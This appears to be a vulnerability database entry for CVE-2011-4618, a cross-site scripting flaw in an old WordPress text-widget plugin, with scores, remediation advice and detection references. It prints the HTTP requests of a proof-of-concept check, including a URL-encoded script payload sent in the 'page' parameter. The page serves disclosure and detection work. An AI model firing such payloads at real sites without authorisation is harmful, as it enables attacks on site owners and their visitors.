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CVE-2011-4618: Advanced Text Widget < 2.0.2 - Cross-Site Scripting

TitleAdvanced Text Widget < 2.0.2 - Cross-Site Scripting
Authordaffainfo
SeverityMedium
ImpactAllows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpgrade to the latest version to mitigate this vulnerability.
CVSS Score4.3
EPSS Score0.04723
CVE IDCVE-2011-4618
CWE IDCWE-79
Tags cve2011 cve wordpress xss wp-plugin simplerealtytheme vuln

🔍 Vulnerability Description

A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter.

🌐 HTTP Request

GET /wp-content/plugins/advanced-text-widget/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/advanced-text-widget/advancedtext.php?page=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2011/CVE-2011-4618.yaml

🦈 Packet Capture: ⬇️ Download cve-2011-4618.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A